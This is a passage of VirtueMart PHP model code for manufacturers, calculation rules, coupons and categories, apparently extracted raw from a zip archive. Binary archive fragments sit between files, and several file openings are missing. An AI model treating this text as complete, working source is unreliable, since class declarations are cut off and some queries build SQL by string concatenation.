$mediaModel->storeMedia($data,'manufacturer'); $errors = $mediaModel->getErrors(); foreach($errors as $error){ vmError($error); } return $table->virtuemart_manufacturer_id; } /** * Returns a dropdown menu with manufacturers * @author Max Milbers * @return object List of manufacturer to build filter select box */ function getManufacturerDropDown() { $db = JFactory::getDBO(); $query = "SELECT `virtuemart_manufacturer_id` AS `value`, `mf_name` AS text, '' AS disable FROM `#__virtuemart_manufacturers_".VMLANG."` ORDER BY `mf_name` ASC"; $db->setQuery($query); $options = $db->loadObjectList(); array_unshift($options, JHTML::_('select.option', '0', '- '. JText::_('COM_VIRTUEMART_SELECT_MANUFACTURER') .' -' )); return $options; } /** * Retireve a list of countries from the database. * * @param string $onlyPuiblished True to only retreive the publish countries, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of manufacturer objects */ public function getManufacturers($onlyPublished=false, $noLimit=false, $getMedia=false) { $this->_noLimit = $noLimit; $mainframe = JFactory::getApplication(); // $db = JFactory::getDBO(); $option = 'com_virtuemart'; $virtuemart_manufacturercategories_id = $mainframe->getUserStateFromRequest( $option.'virtuemart_manufacturercategories_id', 'virtuemart_manufacturercategories_id', 0, 'int' ); $search = $mainframe->getUserStateFromRequest( $option.'search', 'search', '', 'string' ); $where = array(); if ($virtuemart_manufacturercategories_id > 0) { $where[] .= ' `m`.`virtuemart_manufacturercategories_id` = '. $virtuemart_manufacturercategories_id; } if ( $search && $search != 'true') { $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $where[] .= ' LOWER( `mf_name` ) LIKE '.$search; } if ($onlyPublished) { $where[] .= ' `m`.`published` = 1'; } $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $select = ' `m`.*,`#__virtuemart_manufacturers_'.VMLANG.'`.*, mc.`mf_category_name` '; $joinedTables = 'FROM `#__virtuemart_manufacturers_'.VMLANG.'` JOIN `#__virtuemart_manufacturers` as m USING (`virtuemart_manufacturer_id`) '; $joinedTables .= ' LEFT JOIN `#__virtuemart_manufacturercategories_'.VMLANG.'` AS mc on mc.`virtuemart_manufacturercategories_id`= `m`.`virtuemart_manufacturercategories_id` '; $groupBy=' '; if($getMedia){ $select .= ',mmex.virtuemart_media_id '; $joinedTables .= 'LEFT JOIN `#__virtuemart_manufacturer_medias` as mmex ON `m`.`virtuemart_manufacturer_id`= mmex.`virtuemart_manufacturer_id` '; $groupBy=' GROUP BY `m`.`virtuemart_manufacturer_id` '; } $whereString = ' '; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where).' ' ; $ordering = $this->_getOrdering(); return $this->_data = $this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,$groupBy,$ordering ); } } // pure php no closing tagPK@y>\ࠎO/O/)components/com_virtuemart/models/calc.phpnuW+A St.Kraft 2013-02-24 manufacturer relation added * @link http://www.virtuemart.net * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * @version $Id: calc.php 6396 2012-09-05 17:35:36Z Milbo $ */ if(!class_exists('VmModel'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmmodel.php'); class VirtueMartModelCalc extends VmModel { /** * Constructor for the calc model. * * The calc id is read and detmimined if it is an array of ids or just one single id. * * @author RickG */ public function __construct(){ parent::__construct(); $this->setMainTable('calcs'); $this->setToggleName('calc_shopper_published'); $this->setToggleName('calc_vendor_published'); $this->setToggleName('shared'); $this->addvalidOrderingFieldName(array('virtuemart_category_id','virtuemart_country_id','virtuemart_state_id','virtuemart_shoppergroup_id' ,'virtuemart_manufacturer_id' )); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Max Milbers */ public function getCalc(){ if (empty($this->_data)) { if(empty($this->_db)) $this->_db = JFactory::getDBO(); $this->_data = $this->getTable('calcs'); $this->_data->load((int)$this->_id); $xrefTable = $this->getTable('calc_categories'); $this->_data->calc_categories = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_categories '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_shoppergroups'); $this->_data->virtuemart_shoppergroup_ids = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_shoppergroups '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_countries'); $this->_data->calc_countries = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_countries '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_states'); $this->_data->virtuemart_state_ids = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' virtuemart_state_ids '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_manufacturers'); $this->_data->virtuemart_manufacturers = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_manufacturers '.$xrefTable->getError()); } JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmGetPluginInternalDataCalc',array(&$this->_data)); } // if($errs = $this->getErrors()){ // $app = JFactory::getApplication(); // foreach($errs as $err){ // $app->enqueueMessage($err); // } // } // vmdebug('my calc',$this->_data); return $this->_data; } /** * Retrieve a list of calculation rules from the database. * * @author Max Milbers * @param string $onlyPuiblished True to only retreive the published Calculation rules, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of calculation rule objects */ public function getCalcs($onlyPublished=false, $noLimit=false, $search=false){ $where = array(); $this->_noLimit = $noLimit; // add filters if ($onlyPublished) $where[] = '`published` = 1'; if($search){ $db = JFactory::getDBO(); $search = '"%' . $db->getEscaped( $search, true ) . '%"' ; $where[] = ' `calc_name` LIKE '.$search.' OR `calc_descr` LIKE '.$search.' OR `calc_value` LIKE '.$search.' '; } $whereString= ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_calcs`',$whereString,'',$this->_getOrdering()); if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); foreach ($this->_data as $data){ /* Write the first 5 categories in the list */ $data->calcCategoriesList = shopfunctions::renderGuiList('virtuemart_category_id','#__virtuemart_calc_categories','virtuemart_calc_id',$data->virtuemart_calc_id,'category_name','#__virtuemart_categories','virtuemart_category_id','category'); /* Write the first 5 shoppergroups in the list */ $data->calcShoppersList = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_calc_shoppergroups','virtuemart_calc_id',$data->virtuemart_calc_id,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','shoppergroup',4,false); /* Write the first 5 countries in the list */ $data->calcCountriesList = shopfunctions::renderGuiList('virtuemart_country_id','#__virtuemart_calc_countries','virtuemart_calc_id',$data->virtuemart_calc_id,'country_name','#__virtuemart_countries','virtuemart_country_id','country',4,false); /* Write the first 5 states in the list */ $data->calcStatesList = shopfunctions::renderGuiList('virtuemart_state_id','#__virtuemart_calc_states','virtuemart_calc_id',$data->virtuemart_calc_id,'state_name','#__virtuemart_states','virtuemart_state_id','state',4,false); /* Write the first 5 manufacturers in the list */ $data->calcManufacturersList = shopfunctions::renderGuiList('virtuemart_manufacturer_id','#__virtuemart_calc_manufacturers','virtuemart_calc_id',$data->virtuemart_calc_id,'mf_name','#__virtuemart_manufacturers','virtuemart_manufacturer_id','manufacturer'); $query = 'SELECT `currency_name` FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` = "'.(int)$data->calc_currency.'" '; $this->_db->setQuery($query); $data->currencyName = $this->_db->loadResult(); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $error = $dispatcher->trigger('plgVmGetPluginInternalDataCalcList',array(&$data)); } return $this->_data; } /** * Bind the post data to the calculation table and save it * * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { JRequest::checkToken() or jexit( 'Invalid Token, in store calc'); $table = $this->getTable('calcs'); // Convert selected dates to MySQL format for storing. $startDate = JFactory::getDate($data['publish_up']); $data['publish_up'] = $startDate->toMySQL(); // if ($data['publish_down'] == '' or $data['publish_down']==0){ if (empty($data['publish_down']) || trim($data['publish_down']) == JText::_('COM_VIRTUEMART_NEVER')){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); $data['publish_down'] = $this->_db->getNullDate(); } else { $expireDate = JFactory::getDate($data['publish_down']); $data['publish_down'] = $expireDate->toMySQL(); } $table->bindChecknStore($data); if($table->getError()){ vmError('Calculation store '.$table->getError()); return false; } $xrefTable = $this->getTable('calc_categories'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_shoppergroups'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_countries'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_states'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_manufacturers'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } if (!class_exists('vmCalculationPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmcalculationplugin.php'); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $error = $dispatcher->trigger('plgVmStorePluginInternalDataCalc',array(&$data)); $errMsg = $this->_db->getErrorMsg(); $errs = $this->_db->getErrors(); if(!empty($errMsg)){ $errNum = $this->_db->getErrorNum(); vmError('SQL-Error: '.$errNum.' '.$errMsg.'
        used query '.$this->_db->getQuery()); } if(!empty($errs)){ foreach($errs as $err){ if(!empty($err)) vmError('Calculation store '.$err); } } return $table->virtuemart_calc_id; } static function getRule($kind){ if (!is_array($kind)) $kind = array($kind); $db = JFactory::getDBO(); $nullDate = $db->getNullDate(); $now = JFactory::getDate()->toMySQL(); $q = 'SELECT * FROM `#__virtuemart_calcs` WHERE '; foreach ($kind as $field){ $q .= '`calc_kind`='.$db->Quote($field).' OR '; } $q=substr($q,0,-3); $q .= 'AND ( publish_up = "' . $db->getEscaped($nullDate) . '" OR publish_up <= "' . $db->getEscaped($now) . '" ) AND ( publish_down = "' . $db->getEscaped($nullDate) . '" OR publish_down >= "' . $db->getEscaped($now) . '" ) '; $db->setQuery($q); $data = $db->loadObjectList(); if (!$data) { $data = new stdClass(); } return $data; } /** * Delete all calcs selected * * @author Max Milbers * @param array $cids categories to remove * @return boolean if the item remove was successful */ public function remove($cids) { JRequest::checkToken() or jexit( 'Invalid Token, in remove category'); $table = $this->getTable($this->_maintablename); $cat = $this->getTable('calc_categories'); $sgrp = $this->getTable('calc_shoppergroups'); $countries = $this->getTable('calc_countries'); $states = $this->getTable('calc_states'); $manufacturers = $this->getTable('calc_manufacturers'); $ok = true; foreach($cids as $id) { $id = (int)$id; vmdebug('remove '.$id); if (!$table->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); $ok = false; } if (!$cat->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$cat->getError()); $ok = false; } if (!$sgrp->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$sgrp->getError()); $ok = false; } if (!$countries->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$countries->getError()); $ok = false; } if (!$states->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$states->getError()); $ok = false; } // Mod. St.Kraft 2013-02-24 if (!$manufacturers->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$manufacturers->getError()); $ok = false; } // if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmDeleteCalculationRow', array( $id)); } return $ok; } static function getTaxes() { return self::getRule(array('TAX','VatTax','TaxBill')); } static function getDiscounts(){ return self::getRule(array('DATax','DATaxBill','DBTax','DBTaxBill')); } static function getDBDiscounts() { return self::getRule(array('DBTax','DBTaxBill')); } static function getDADiscounts() { return self::getRule(array('DATax','DATaxBill')); } }PK@y>\׿g g +components/com_virtuemart/models/coupon.phpnuW+AsetMainTable('coupons'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG */ function getCoupon() { $db = JFactory::getDBO(); if (empty($this->_data)) { $this->_data = $this->getTable('coupons'); $this->_data->load((int)$this->_id); } if (!$this->_data) { $this->_data = new stdClass(); $this->_id = 0; $this->_data = null; } return $this->_data; } /** * Bind the post data to the coupon table and save it * * @author RickG, Oscar van Eijk * @return mixed False if the save was unsuccessful, the coupon ID otherwise. */ function store(&$data) { $table = $this->getTable('coupons'); //$data = JRequest::get('post'); $table->bindChecknStore($data); // Convert selected dates to MySQL format for storing. if ($data['coupon_start_date']) { $startDate = JFactory::getDate($data['coupon_start_date']); $data['coupon_start_date'] = $startDate->toMySQL(); } if ($data['coupon_expiry_date']) { $expireDate = JFactory::getDate($data['coupon_expiry_date']); $data['coupon_expiry_date'] = $expireDate->toMySQL(); } parent::store($data); return $table->virtuemart_coupon_id; } /** * Retireve a list of coupons from the database. * * @author RickG * @return object List of coupon objects */ function getCoupons() { $whereString = ''; // if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; return $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_coupons`',$whereString,'',$this->_getOrdering()); } } // pure php no closing tagPK@y>\ jss-components/com_virtuemart/models/category.phpnuW+AsetMainTable('categories'); $this->addvalidOrderingFieldName(self::$_validOrderingFields); $toCheck = VmConfig::get('browse_cat_orderby_field','category_name'); if(!in_array($toCheck, $this->_validOrderingFieldName)){ $toCheck = 'category_name'; } $this->_selectedOrdering = $toCheck; $this->_selectedOrderingDir = VmConfig::get('cat_brws_orderby_dir', 'ASC'); $this->setToggleName('shared'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG, jseros, RolandD, Max Milbers */ public function getCategory($virtuemart_category_id=0,$childs=TRUE){ if(!empty($virtuemart_category_id)) $this->setId((int)$virtuemart_category_id); if (empty($this->_data)) { $this->_data = $this->getTable('categories'); $this->_data->load((int)$this->_id); $xrefTable = $this->getTable('category_medias'); $this->_data->virtuemart_media_id = $xrefTable->load((int)$this->_id); if($xrefTable->getError()) vmError($xrefTable->getError()); if(empty($this->_data->category_template)){ $this->_data->category_template = VmConfig::get('categorytemplate'); } if(empty($this->_data->category_layout)){ $this->_data->category_layout = VmConfig::get('categorylayout'); } if($childs){ $this->_data->haschildren = $this->hasChildren($this->_id); /* Get children if they exist */ if ($this->_data->haschildren) $this->_data->children = $this->getCategories(true,$this->_id); else $this->_data->children = null; /* Get the product count */ $this->_data->productcount = $this->countProducts($this->_id); /* Get parent for breatcrumb */ $this->_data->parents = $this->getParentsList($this->_id); } if($errs = $this->getErrors()){ $app = JFactory::getApplication(); foreach($errs as $err){ $app->enqueueMessage($err); } } } return $this->_data; } /** * Get the list of child categories for a given category, is cached * * @param int $virtuemart_category_id Category id to check for child categories * @return object List of objects containing the child categories * */ public function getChildCategoryList($vendorId, $virtuemart_category_id,$selectedOrdering = null, $orderDir = null, $cache = true) { $useCache = true; if(empty($this) or get_class($this)!='VirtueMartModelCategory'){ $useCache = false; } if($selectedOrdering===null){ if($useCache){ $selectedOrdering = $this->_selectedOrdering; } else { $selectedOrdering = VmConfig::get('browse_cat_orderby_field','category_name'); } } if(!in_array($selectedOrdering, self::$_validOrderingFields)){ $selectedOrdering = 'category_name'; } if($orderDir===null){ if($useCache){ $orderDir = $this->_selectedOrderingDir; } else { $orderDir = VmConfig::get('cat_brws_orderby_dir', 'ASC'); } } $validOrderingDir = array('ASC','DESC'); if(!in_array(strtoupper($orderDir), $validOrderingDir)){ $orderDir = 'ASC'; } static $_childCategoryList = array (); $key = (int)$vendorId.'_'.(int)$virtuemart_category_id.$selectedOrdering.$orderDir.VMLANG ; //We have here our internal key to preven calling of the cache if (! array_key_exists ($key,$_childCategoryList)){ if($useCache){ $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->setCaching(true); $_childCategoryList[$key] = $cache->call( array( 'VirtueMartModelCategory', 'getChildCategoryListObject' ),$vendorId, $virtuemart_category_id, $selectedOrdering, $orderDir); } else { $_childCategoryList[$key] = VirtueMartModelCategory::getChildCategoryListObject($vendorId, $virtuemart_category_id, $selectedOrdering, $orderDir); } } return $_childCategoryList[$key]; } /** * Be aware we need the lang to assure that the cache works properly. The cache needs all paraemeters * in the function call to use the right hash * * @author Max Milbers * @param $vendorId * @param $virtuemart_category_id * @param null $selectedOrdering * @param null $orderDir * @param $lang * @return mixed */ static public function getChildCategoryListObject($vendorId, $virtuemart_category_id,$selectedOrdering = null, $orderDir = null,$lang = VMLANG) { $query = 'SELECT L.* FROM `#__virtuemart_categories_'.$lang.'` as L JOIN `#__virtuemart_categories` as c using (`virtuemart_category_id`)'; $query .= ' LEFT JOIN `#__virtuemart_category_categories` as cx on c.`virtuemart_category_id` = cx.`category_child_id` '; $query .= 'WHERE cx.`category_parent_id` = ' . (int)$virtuemart_category_id . ' '; $query .= 'AND c.`virtuemart_vendor_id` = ' . (int)$vendorId . ' '; $query .= 'AND c.`published` = 1 '; $query .= ' ORDER BY '.$selectedOrdering.' '.$orderDir; $db = JFactory::getDBO(); $db->setQuery( $query); $childList = $db->loadObjectList(); if(!empty($childList)){ if(!class_exists('TableCategory_medias'))require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'category_medias.php'); foreach($childList as $child){ $xrefTable = new TableCategory_medias($db); $child->virtuemart_media_id = $xrefTable->load($child->virtuemart_category_id); } } return $childList; } // public sortArraysPerXref(){ // $q = 'SELECT * FROM ' // } public function getCategoryTree($parentId=0, $level = 0, $onlyPublished = true,$keyword = ''){ $sortedCats = array(); $limits = $this->setPaginationLimits(); $limitStart = $limits[0]; $limit = $limits[1]; // vmRam('What take the cats?'); $this->_noLimit = true; if($keyword!=''){ $sortedCats = self::getCategories($onlyPublished, false, false, $keyword); } else { $this->rekurseCats($parentId,$level,$onlyPublished,$keyword,$sortedCats); } $this->_noLimit = false; $this->_total = count($sortedCats); $this->_limitStart = $limitStart; $this->_limit = $limit; $this->getPagination(); if(empty($limit)){ return $sortedCats; } else { $sortedCats = array_slice($sortedCats, $limitStart,$limit); return $sortedCats; } } public function rekurseCats($virtuemart_category_id,$level,$onlyPublished,$keyword,&$sortedCats){ $level++; if($this->hasChildren($virtuemart_category_id)){ $childCats = self::getCategories($onlyPublished, $virtuemart_category_id, false, $keyword); if(!empty($childCats)){ foreach ($childCats as $key => $category) { $category->level = $level; $sortedCats[] = $category; $this->rekurseCats($category->virtuemart_category_id,$level,$onlyPublished,$keyword,$sortedCats); } } } } public function getCategories($onlyPublished = true, $parentId = false, $childId = false, $keyword = "") { $vendorId = 1; $select = ' c.`virtuemart_category_id`, l.`category_description`, l.`category_name`, c.`ordering`, c.`published`, cx.`category_child_id`, cx.`category_parent_id`, c.`shared` '; $joinedTables = ' FROM `#__virtuemart_categories_'.VMLANG.'` l JOIN `#__virtuemart_categories` AS c using (`virtuemart_category_id`) LEFT JOIN `#__virtuemart_category_categories` AS cx ON l.`virtuemart_category_id` = cx.`category_child_id` '; $where = array(); if( $onlyPublished ) { $where[] = " c.`published` = 1 "; } if( $parentId !== false ){ $where[] = ' cx.`category_parent_id` = '. (int)$parentId; } if( $childId !== false ){ $where[] = ' cx.`category_child_id` = '. (int)$childId; } if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if( !Permissions::getInstance()->check('admin') ){ $where[] = ' (c.`virtuemart_vendor_id` = "'. (int)$vendorId. '" OR c.`shared` = "1") '; } if( !empty( $keyword ) ) { $keyword = '"%' . $this->_db->getEscaped( $keyword, true ) . '%"' ; //$keyword = $this->_db->Quote($keyword, false); $where[] = ' ( l.`category_name` LIKE '.$keyword.' OR l.`category_description` LIKE '.$keyword.') '; } $whereString = ''; if (count($where) > 0){ $whereString = ' WHERE '.implode(' AND ', $where) ; } else { $whereString = 'WHERE 1 '; } $ordering = $this->_getOrdering(); $this->_category_tree = $this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,'',$ordering ); return $this->_category_tree; } /** * count the products in a category * * @author Max Milbers * @return array list of categories product is in */ public function countProducts($cat_id=0) { if(!empty($this->_db))$this->_db = JFactory::getDBO(); $vendorId = 1; if ($cat_id > 0) { $q = 'SELECT count(#__virtuemart_products.virtuemart_product_id) AS total FROM `#__virtuemart_products`, `#__virtuemart_product_categories` WHERE `#__virtuemart_products`.`virtuemart_vendor_id` = "'.(int)$vendorId.'" AND `#__virtuemart_product_categories`.`virtuemart_category_id` = '.(int)$cat_id.' AND `#__virtuemart_products`.`virtuemart_product_id` = `#__virtuemart_product_categories`.`virtuemart_product_id` AND `#__virtuemart_products`.`published` = "1" '; $this->_db->setQuery($q); $count = $this->_db->loadResult(); } else $count=0 ; return $count; } /** * Order any category * * @author jseros * @param int $id category id * @param int $movement movement number * @return bool */ public function orderCategory($id, $movement){ //retrieving the category table object //and loading data $row = $this->getTable('categories'); $row->load($id); $query = 'SELECT `category_parent_id` FROM `#__virtuemart_category_categories` WHERE `category_child_id` = '. (int)$row->virtuemart_category_id ; $this->_db->setQuery($query); $parent = $this->_db->loadObject(); if (!$row->move( $movement, $parent->category_parent_id)) { vmError($row->getError()); return false; } return true; } /** * Order category group * * @author jseros * @param array $cats categories to order * @return bool */ public function setOrder($cats, $order){ $total = count( $cats ); $groupings = array(); $row = $this->getTable('categories'); $query = 'SELECT `category_parent_id` FROM `#__virtuemart_categories` c LEFT JOIN `#__virtuemart_category_categories` cx ON c.`virtuemart_category_id` = cx.`category_child_id` WHERE c.`virtuemart_category_id` = %s'; // update ordering values for( $i=0; $i < $total; $i++ ) { $row->load( $cats[$i] ); $this->_db->setQuery( sprintf($query, (int)$cats[$i] ), 0 ,1 ); $parent = $this->_db->loadObject(); $groupings[] = $parent->category_parent_id; if ($row->ordering != $order[$i]) { $row->ordering = $order[$i]; if (!$row->toggle('ordering',$row->ordering)) { vmError($row->getError()); return false; } } } // execute reorder for each parent group $groupings = array_unique( $groupings ); foreach ($groupings as $group){ $row->reorder($group); } $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); return true; } /** * Retrieve the detail record for the parent category of $categoryd * * @author jseros * * @param int $categoryId Child category id * @return JTable parent category data */ public function getParentCategory( $categoryId = 0 ){ $data = $this->getRelationInfo( $categoryId ); $parentId = isset($data->category_parent_id) ? $data->category_parent_id : 0; $parent = $this->getTable('categories'); $parent->load((int) $parentId); return $parent; } /** * Retrieve category child-parent relation record * * @author jseros * * @param int $virtuemart_category_id * @return object Record of parent relation */ public function getRelationInfo( $virtuemart_category_id = 0 ){ $virtuemart_category_id = (int) $virtuemart_category_id; $query = 'SELECT `category_parent_id`, `ordering` FROM `#__virtuemart_category_categories` WHERE `category_child_id` = '. $this->_db->Quote($virtuemart_category_id); $this->_db->setQuery($query); return $this->_db->loadObject(); } /** * Bind the post data to the category table and save it * * @author jseros, RolandD, Max Milbers * @return int category id stored */ public function store(&$data) { JRequest::checkToken() or jexit( 'Invalid Token, in store category'); $table = $this->getTable('categories'); /* vmdebug('categorytemplate to null',VmConfig::get('categorytemplate'),$data['category_template']); * VmConfig::get('categorytemplate') = default * $data['category_template'] = 0 */ if ( !array_key_exists ('category_template' , $data ) ){ $data['category_template'] = $data['category_layout'] = $data['category_product_layout'] = 0 ; } if(VmConfig::get('categorytemplate') == $data['category_template'] ){ $data['category_template'] = 0; } if(VmConfig::get('categorylayout') == $data['category_layout']){ $data['category_layout'] = 0; } if(VmConfig::get('productlayout') == $data['category_product_layout']){ $data['category_product_layout'] = 0; } // vmdebug('category store ',$data); $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } if(!empty($data['virtuemart_category_id'])){ $xdata['category_child_id'] = (int)$data['virtuemart_category_id']; $xdata['category_parent_id'] = empty($data['category_parent_id'])? 0:(int)$data['category_parent_id']; $xdata['ordering'] = empty($data['ordering'])? 0: (int)$data['ordering']; $table = $this->getTable('category_categories'); $table->bindChecknStore($xdata); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } } // Process the images $mediaModel = VmModel::getModel('Media'); $file_id = $mediaModel->storeMedia($data,'category'); $errors = $mediaModel->getErrors(); foreach($errors as $error){ vmError($error); } $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); return $data['virtuemart_category_id'] ; } /** * Delete all categories selected * * @author jseros * @param array $cids categories to remove * @return boolean if the item remove was successful */ public function remove($cids) { JRequest::checkToken() or jexit( 'Invalid Token, in remove category'); $table = $this->getTable('categories'); foreach($cids as &$cid) { if (!$table->delete($cid)) { vmError($table->getError()); return false; } $db = JFactory::getDbo(); $q = 'SELECT `virtuemart_customfield_id` FROM `#__virtuemart_product_customfields` as pc '; $q .= 'LEFT JOIN `#__virtuemart_customs`as c using (`virtuemart_custom_id`) WHERE pc.`custom_value` = "' . $cid . '" AND `field_type`= "Z"'; $db->setQuery($q); $list = $db->loadResultArray(); if ($list) { $listInString = implode(',',$list); //Delete media xref $query = 'DELETE FROM `#__virtuemart_product_customfields` WHERE `virtuemart_customfield_id` IN ('. $listInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } } } $cidInString = implode(',',$cids); //Delete media xref $query = 'DELETE FROM `#__virtuemart_category_medias` WHERE `virtuemart_category_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } //deleting product relations $query = 'DELETE FROM `#__virtuemart_product_categories` WHERE `virtuemart_category_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } //deleting category relations $query = 'DELETE FROM `#__virtuemart_category_categories` WHERE `category_child_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } //updating parent relations $query = 'UPDATE `#__virtuemart_category_categories` SET `category_parent_id` = 0 WHERE `category_parent_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); return true; } /** * Checks for children of the category $virtuemart_category_id * * @author RolandD * @param int $virtuemart_category_id the category ID to check * @return boolean true when the category has childs, false when not */ public function hasChildren($virtuemart_category_id) { // vmSetStartTime('hasChildren'); $db = JFactory::getDBO(); $q = "SELECT `category_child_id` FROM `#__virtuemart_category_categories` WHERE `category_parent_id` = ".(int)$virtuemart_category_id; $db->setQuery($q); $db->query(); if ($db->getAffectedRows() > 0){ // vmTime('hasChildren YES','hasChildren'); return true; } else { // vmTime('hasChildren NO','hasChildren'); return false; } } /** * Creates a bulleted of the childen of this category if they exist * * @author RolandD * @todo Add vendor ID * @param int $virtuemart_category_id the category ID to create the list of * @return array containing the child categories */ public function getParentsList($virtuemart_category_id) { $db = JFactory::getDBO(); $menu = JFactory::getApplication()->getMenu(); $parents = array(); if (empty($query['Itemid'])) { $menuItem = $menu->getActive(); } else { $menuItem = $menu->getItem($query['Itemid']); } $menuCatid = (empty($menuItem->query['virtuemart_category_id'])) ? 0 : $menuItem->query['virtuemart_category_id']; if ($menuCatid == $virtuemart_category_id) return ; $parents_id = array_reverse($this->getCategoryRecurse($virtuemart_category_id,$menuCatid)); foreach ($parents_id as $id ) { $q = 'SELECT `category_name`,`virtuemart_category_id` FROM `#__virtuemart_categories_'.VMLANG.'` WHERE `virtuemart_category_id`='.(int)$id; $db->setQuery($q); $parents[] = $db->loadObject(); } return $parents; } var $categoryRecursed = 0; function getCategoryRecurse($virtuemart_category_id,$catMenuId,$first=true ) { static $idsArr = array(); if($first) { $idsArr = array(); $this->categoryRecursed = 0; } else if($this->categoryRecursed>10){ vmWarn('Stopped getCategoryRecurse after 10 rekursions'); return $idsArr; } $db = JFactory::getDBO(); $q = "SELECT `category_child_id` AS `child`, `category_parent_id` AS `parent` FROM `#__virtuemart_category_categories` AS `xref` WHERE `xref`.`category_child_id`= ".(int)$virtuemart_category_id; $db->setQuery($q); if (!$ids = $db->loadObject()) { return $idsArr; } if ($ids->child) $idsArr[] = $ids->child; if($ids->child != 0 and $catMenuId != $virtuemart_category_id and $catMenuId != $ids->parent) { $this->categoryRecursed++; $this->getCategoryRecurse($ids->parent,$catMenuId,false); } return $idsArr; } /** * Stuff of categorydetails */ /* array container for category tree ID*/ var $container = array(); /** * Sorts an array with categories so the order of the categories is the same as in a tree. * * @author jseros * * @param array $this->_category_tree * @return associative array ordering categories * @deprecated */ public function sortCategoryTree($categoryArr){ /** FIRST STEP * Order the Category Array and build a Tree of it **/ $idList = array(); $rowList = array(); $depthList = array(); $children = array(); $parentIds = array(); $parentIdsHash = array(); $parentId = 0; for( $i = 0, $nrows = count($categoryArr); $i < $nrows; $i++ ) { $parentIds[$i] = $categoryArr[$i]->category_parent_id; if($categoryArr[$i]->category_parent_id == 0){ array_push($idList, $categoryArr[$i]->category_child_id); array_push($rowList, $i); array_push($depthList, 0); } $parentId = 